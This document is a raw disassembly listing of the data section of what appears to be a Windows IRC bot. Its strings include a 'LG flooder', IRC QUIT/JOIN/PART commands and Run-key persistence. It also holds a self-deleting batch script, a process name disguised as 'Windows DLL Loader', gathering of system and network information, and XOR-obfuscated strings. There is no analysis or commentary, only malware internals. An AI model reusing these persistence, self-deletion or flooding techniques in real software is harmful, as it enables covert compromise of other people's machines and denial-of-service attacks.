aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o
; sub_4055E5+351o ...
align 10h
aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o
align 4
aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
align 4
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o
align 10h
aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo
align 4
aSystem db 'system',0 ; DATA XREF: sub_406041+136o
; .data:0041BBD0o ...
align 4
dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
; DATA XREF: sub_40637C+FEo
dd 732520h
dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh
; DATA XREF: sub_40637C+51o
dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h
dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o
; sub_4147E5+11o ...
dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o
; sub_40A9CF+1C12o
dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o
; sub_406722+296o ...
aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do
align 10h
aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo
align 4
aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o
align 10h
aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o
align 4
off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br
; sub_406E8E+8Dr ...
off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r
; sub_406E8E+12Ar ...
dd offset loc_418D98
dd offset dword_418DA8
dd offset dword_418D88
dd offset dword_418D64
dd offset dword_418D54
dd offset dword_418D34
dd offset dword_418D20
dd offset dword_418D34
dd offset dword_418D0C
dd offset dword_418CF4
dd offset dword_418CE4
dd offset dword_418CD0
dd offset dword_418CBC
dd offset dword_418C9C
dd offset dword_418C88
dd offset dword_418C6C
dd offset dword_418C5C
dd offset dword_418C6C
dd offset dword_418C4C
dd offset loc_418C24
dd offset dword_418C10
dd offset dword_418BF0
align 10h
dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h
; DATA XREF: .data:00418BE4o
dd 0D1A28AE5h, 0ACF5BAh, 0
dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BE0o
; ---------------------------------------------------------------------------
loc_418C24: ; DATA XREF: .data:00418BDCo
mov ds:0F4DCC796h, eax
cdq
scasd
retf 0FFA1h
; ---------------------------------------------------------------------------
dw 0F3B0h
dd 0D48EB4B7h, 0D1F0C690h, 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h
dd 87h, 0
dword_418C4C dd 0C3D08A83h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418BD8o
dword_418C5C dd 0DFD89691h, 90B889D4h, 0BBE8ADh, 0 ; DATA XREF: .data:00418BD0o
dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh
; DATA XREF: .data:00418BCCo
; .data:00418BD4o
dd 0EDh, 0
dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC8o
dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h
; DATA XREF: .data:00418BC4o
dd 0D2A29BEAh, 2 dup(0)
dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC0o
dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0) ; DATA XREF: .data:00418BBCo
dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o
dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0)
; DATA XREF: .data:00418BB4o
dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BB0o
dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BA8o
dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h
; DATA XREF: .data:00418BA4o
; .data:00418BACo
dd 0D1A78EFCh, 0A6h, 0
dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF: .data:00418BA0o
dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch
; DATA XREF: .data:00418B9Co
dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0
dword_418D88 dd 0C3C59581h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418B98o
; ---------------------------------------------------------------------------
loc_418D98: ; DATA XREF: .data:00418B90o
stosd
xchg eax, ebp
setalc
retn
; ---------------------------------------------------------------------------
dd 0C6ABD4EEh, 0ADh, 0
dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h
; DATA XREF: .data:off_418B8Co
; .data:00418B94o
dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0)
dword_418DD0 dd 0D1C4958Eh, 0C6ABD4EEh, 0ADh, 0 ; DATA XREF: .data:off_418B88o
dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co
dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo
; sub_406AE7+1Bo ...
dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_406C51+1Co
align 4
a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o
db ':deleteagain',0Dh,0Ah
db 'del /A:H /F %s',0Dh,0Ah
db 'del /F %s',0Dh,0Ah
db 'if exist %s goto deleteagain',0Dh,0Ah
db 'del %s',0Dh,0Ah,0
align 4
a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o
align 4
aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
; sub_407148+19Do
align 10h
aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
; sub_407148+1C9o
align 4
dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
; DATA XREF: sub_40732D+115o
dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h
dd 65732002h, 72657672h, 7325h
dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh
; DATA XREF: sub_40764D+6Ao
dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
dd 2343003h, 2037325h, 0
dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
; DATA XREF: sub_4077DD+9Co
dd 34300320h, 3732502h, 2
dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co
; sub_407928+96o ...
dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo
; sub_40CA29+13Do ...
dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o
; sub_40806A+BDo
dword_418F60 dd 9ED9958Fh, 0A395FEh, 0 ; DATA XREF: sub_408887+6o
; ---------------------------------------------------------------------------
loc_418F6C: ; DATA XREF: sub_408887+14o
xchg eax, ebp
xchg eax, ecx
rcr byte ptr [esi-33436017h], 0A9h
mov esi, 0FB96BCBDh
xchg eax, ebp
retn
; ---------------------------------------------------------------------------
dd 2 dup(0)
dword_418F84 dd 9ED9958Fh, 9FF9h, 0 ; DATA XREF: sub_408887+22o
; ---------------------------------------------------------------------------
loc_418F90: ; DATA XREF: sub_408887+30o
xchg al, [edi-6B4C223Eh]
stosd
retf 0
; ---------------------------------------------------------------------------
align 10h
dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF: sub_408887+3Eo
dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0 ; DATA XREF: sub_408887+4Co
off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r
; sub_4088FC+60r
off_418FC8 dd offset loc_4190B4 ; DATA XREF: sub_4088FC+8Ar
dd offset dword_419098
dd offset dword_419054
dd offset dword_41903C
dd offset dword_418FE4
dd 2 dup(0)
dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h
; DATA XREF: .data:00418FD8o
dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h
dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h
dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h
dd 2 dup(0)
dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh
; DATA XREF: .data:00418FD4o
dd 0
dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h
; DATA XREF: .data:00418FD0o
dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh
dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h
dd 92AD9Eh, 0
dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h
; DATA XREF: .data:00418FCCo
dd 97F2h, 0
; ---------------------------------------------------------------------------
loc_4190B4: ; DATA XREF: .data:off_418FC8o
xchg al, [edi-604D2E3Dh]
mov al, ds:0B9F9AA91h
cld
cwde
mov al, ds:8887C385h
retn
; ---------------------------------------------------------------------------
db 9Fh
dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h
dd 0B6F0E2ADh, 0B083h, 0
dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh
; DATA XREF: .data:off_418FC4o
dd 0
dword_419100 dd 415355h ; DATA XREF: sub_408342+2Co
dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
; DATA XREF: sub_4083AD+3CEo
dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh
dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o
; sub_4083AD:loc_4086E7o ...
aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
; DATA XREF: sub_4083AD+296o
align 4
aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo
; sub_408B30:loc_408CB4o ...
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o
; sub_408B30+178o ...
a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo
align 4
aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o
align 10h
a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o
align 4
aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o
align 4
a98 db '98',0 ; DATA XREF: sub_4083AD+187o
align 10h
aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o
align 4
a95 db '95',0 ; DATA XREF: sub_4083AD+153o
align 4
aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo
align 10h
a?: ; DATA XREF: sub_4083AD+124o
unicode 0, <?>,0
aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo
align 4
dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
; DATA XREF: sub_408B30+2D4o
dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h
dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah
dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah
dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh
dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h
dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o
align 4
aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o
aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo
aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo
aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do
align 10h
aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o
; sub_408B30+108o
aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo
align 4
dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r
; sub_408F2E+4Er ...
dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
; DATA XREF: sub_408F2E+270o
dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h
dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo
dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
; DATA XREF: sub_408F2E+1C5o
dd 20424D02h, 65657266h, 0
dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co
; sub_408F2E+24Ao
aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do
; sub_4129CA+34o
aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o
aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o
align 10h
aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o
align 4
aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o
align 10h
aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo
align 4
aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
align 4
aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
align 4
aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o
; sub_4094E6+93o
align 10h
aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o
dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0
aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o
; sub_4098F3+C4o
align 4
dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni db '- No threads running.',0
align 4
dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h
; DATA XREF: sub_409AD5+3Ao
dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h
dd 3A736461h, 0
aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
align 10h
dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
; DATA XREF: sub_409DD0+3A3o
dd 30033A72h, 64250234h, 203h
dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
; DATA XREF: sub_409DD0+37Fo
dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
dd 203h
dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
; DATA XREF: sub_409DD0+32Fo
dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
dd 2E64252Eh, 296425h
aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o
align 4
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o
align 4
unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co
db 73h, 61h, 67h
db 65h ; e
db 3Ah, 20h, 3
db 30h ; 0
db 34h, 2, 74h
db 72h ; r
db 61h, 63h, 65h
db 3
db 2, 20h, 3Ch
db 3
db 30h, 34h, 2
db 68h ; h
db 6Fh, 73h, 74h
db 3
db 2, 3Eh, 20h
aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0
align 4
dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o
dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo
dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o
dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h
; DATA XREF: sub_40A2D2+24o
dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
dd 3A02h
dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
; DATA XREF: sub_40A4A4+44o
dd 2E020373h, 0
dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
; DATA XREF: sub_40A50E+97o
dd 30032072h, 73250234h, 203h
dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0
; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo
align 10h
aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo
align 4
aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o
align 10h
dword_419700 dd 259B8h ; DATA XREF: sub_40A9CF+1ECDr
align 8
dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
; DATA XREF: sub_40A9CF+1EB1o
dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h
dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h
dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C dd 577ED30h ; DATA XREF: sub_40A9CF+1C87r
dd 2 dup(0)
dword_419788 dd 5658h ; DATA XREF: sub_40A9CF+1C72r
align 10h
dword_419790 dd 4827598h ; DATA XREF: sub_40A9CF+1C4Br
dd 2 dup(0)
a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo
align 4
dword_4197A4 dd 2DEB94F9h ; DATA XREF: sub_40A9CF+1BE9r
dd 3 dup(0)
dword_4197B4 dd 2E6BE5C8h ; DATA XREF: sub_40A9CF+1BC2r
align 10h
dword_4197C0 dd 2E5B8h ; DATA XREF: sub_40A9CF+1BADr
align 8
dword_4197C8 dd 2495E5C8h ; DATA XREF: sub_40A9CF+1B86r
dd 2 dup(0)
dword_4197D4 dd 24858h ; DATA XREF: sub_40A9CF+1B71r
dd 0
dword_4197DC dd 21DFB0F8h ; DATA XREF: sub_40A9CF+1B36r
dd 2 dup(0)
dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
; DATA XREF: sub_40A9CF+1B17o
dd 3643330h, 20732502h, 6E69575Bh, 5D3233h
dword_41980C dd 26809888h ; DATA XREF: sub_40A9CF+1AFCr
dd 2 dup(0)
dword_419818 dd 266E8h ; DATA XREF: sub_40A9CF+1AE7r
align 10h
dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h
; DATA XREF: sub_40A9CF+1AC8o
dd 63h
dword_419838 dd 91DF38h ; DATA XREF: sub_40A9CF+19B1r
dd 2 dup(0)
dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_ db ' has no ipv4 end.',0
align 10h
dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
; DATA XREF: sub_40A9CF+1976o
dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h
dd 369252Eh, 2
a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o
align 4
dword_419898 dd 42A40FB6h ; DATA XREF: sub_40A9CF+180Br
dd 3 dup(0)
dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
; DATA XREF: sub_40A9CF+17C1o
dd 2037325h, 0
dword_4198C4 dd 151858h ; DATA XREF: sub_40A9CF+1710r
align 10h
dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
; DATA XREF: sub_40A9CF+16F1o
; sub_40A9CF+17ECo
dd 2037325h, 2Eh
dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
; DATA XREF: sub_40A9CF+16AAo
dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h
dd 3003203Ah, 73250234h, 203h
dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
; DATA XREF: sub_40A9CF+1659o
dd 3A737365h, 34300320h, 3732502h, 2
dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
; DATA XREF: sub_40A9CF+1602o
dd 3A737365h, 34300320h, 3732502h, 2
dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo
; sub_40A9CF:loc_40C011o ...
dword_41996C dd 24858h ; DATA XREF: sub_40A9CF+1534r
dd 0
aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
align 4
dword_41998C dd 0B7DFB102h ; DATA XREF: sub_40A9CF+14F5r
dd 3 dup(0)
dword_41999C dd 4B836E8h ; DATA XREF: sub_40A9CF+14E0r
dd 2 dup(0)
dword_4199A8 dd 3E08h ; DATA XREF: sub_40A9CF+14B2r
align 10h
dword_4199B0 dd 952EF8h ; DATA XREF: sub_40A9CF+1484r
dd 2 dup(0)
dword_4199BC dd 22F78h ; DATA XREF: sub_40A9CF+146Fr
dd 0
dword_4199C4 dd 59D83703h ; DATA XREF: sub_40A9CF+1450r
dd 3 dup(0)
dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
; DATA XREF: sub_40A9CF+1431o
dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah
dd 75250234h, 2E0203h
dword_419A04 dd 1197E8h ; DATA XREF: sub_40A9CF+1400r
align 10h
dword_419A10 dd 2AEC3778h ; DATA XREF: sub_40A9CF+1399r
dd 2 dup(0)
dword_419A1C dd 22DB0h ; DATA XREF: sub_40A9CF+1374r
dd 0
dword_419A24 dd 155E78h ; DATA XREF: sub_40A9CF+135Fr
align 10h
dword_419A30 dd 135A78h ; DATA XREF: sub_40A9CF+134Ar
dd 2 dup(0)
dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o
dword_419A44 dd 121930h ; DATA XREF: sub_40A9CF+1310r
align 10h
dword_419A50 dd 0D0EBFCFDh ; DATA XREF: sub_40A9CF+12E9r
align 10h
aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
align 4
aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o
; sub_40A9CF:loc_40BC84o
align 4
dword_419A7C dd 90F030h ; DATA XREF: sub_40A9CF+125Fr
dd 2 dup(0)
dword_419A88 dd 29FB0h ; DATA XREF: sub_40A9CF+122Br
align 10h
dword_419A90 dd 58EE830h ; DATA XREF: sub_40A9CF+11E7r
dd 2 dup(0)
dword_419A9C dd 25570h ; DATA XREF: sub_40A9CF+11A3r
dd 0
dword_419AA4 dd 969E58h ; DATA XREF: sub_40A9CF+114Cr
align 10h
dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o
dword_419AB8 dd 0FF778h ; DATA XREF: sub_40A9CF+1112r
dd 2 dup(0)
dword_419AC4 dd 0FB288h ; DATA XREF: sub_40A9CF+10B0r
align 10h
dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
; sub_40A9CF+10FAo ...
dword_419ADC dd 12A488h ; DATA XREF: sub_40A9CF+102Cr
dd 2 dup(0)
aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
align 4
dword_419AFC dd 55D1DB0h ; DATA XREF: sub_40A9CF+FF6r
dd 2 dup(0)
dword_419B08 dd 85A058h ; DATA XREF: sub_40A9CF+FC1r
dd 2 dup(0)
dword_419B14 dd 988A30h ; DATA XREF: sub_40A9CF+F80r
align 10h
dword_419B20 dd 53005939h ; DATA XREF: sub_40A9CF+F52r
align 10h
dword_419B30 dd 2AD87238h ; DATA XREF: sub_40A9CF+F24r
dd 2 dup(0)
dword_419B3C dd 903F4F39h ; DATA XREF: sub_40A9CF+EFEr
dd 3 dup(0)
dword_419B4C dd 3F53B78h ; DATA XREF: sub_40A9CF+ED0r
dd 2 dup(0)
dword_419B58 dd 1054F8h ; DATA XREF: sub_40A9CF+EAAr
dd 2 dup(0)
dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
; DATA XREF: sub_40A9CF+E77o
dword_419B78 dd 2AC15529h ; DATA XREF: sub_40A9CF+E5Ar
dd 3 dup(0)
dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
; DATA XREF: sub_40A9CF+E2Fo
dd 2037325h, 0
dword_419BA4 dd 90DB78h ; DATA XREF: sub_40A9CF+DC8r
align 10h
aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
align 4
dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
; DATA XREF: sub_40A9CF+D20o
dd 2037325h, 0
dword_419BE0 dd 27B78h ; DATA XREF: sub_40A9CF+CAFr
align 8
dword_419BE8 dd 0F669DEC8h ; DATA XREF: sub_40A9CF+C68r
dd 3 dup(0)
dword_419BF8 dd 51AF03CEh ; DATA XREF: sub_40A9CF+C05r
dd 4 dup(0)
dword_419C0C dd 560C8BD9h ; DATA XREF: sub_40A9CF+BDEr
dd 3 dup(0)
dword_419C1C dd 125EC8h ; DATA XREF: sub_40A9CF+B97r
dd 2 dup(0)
dword_419C28 dd 23B2DEC8h ; DATA XREF: sub_40A9CF+B82r
dd 2 dup(0)
dword_419C34 dd 3E3DEC8h ; DATA XREF: sub_40A9CF+B6Dr
align 10h
dword_419C40 dd 2AC19078h ; DATA XREF: sub_40A9CF+B3Fr
dd 2 dup(0)
dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C dd 3D18h ; DATA XREF: sub_40A9CF+B0Cr
dd 0
dword_419C64 dd 25CB99D8h ; DATA XREF: sub_40A9CF+AE5r
align 10h
dword_419C70 dd 26F91BF8h ; DATA XREF: sub_40A9CF+AB4r
dd 2 dup(0)
dword_419C7C dd 26F7D4F8h ; DATA XREF: sub_40A9CF+A83r
dd 2 dup(0)
dword_419C88 dd 0BA3DCE82h ; DATA XREF: sub_40A9CF+A5Dr
dd 3 dup(0)
dword_419C98 dd 0BA3E0C3Ah ; DATA XREF: sub_40A9CF+A11r
dd 3 dup(0)
dword_419CA8 dd 27740A05h ; DATA XREF: sub_40A9CF+9DCr
dd 3 dup(0)
dword_419CB8 dd 3F2F239h ; DATA XREF: sub_40A9CF+9A1r
dd 3 dup(0)
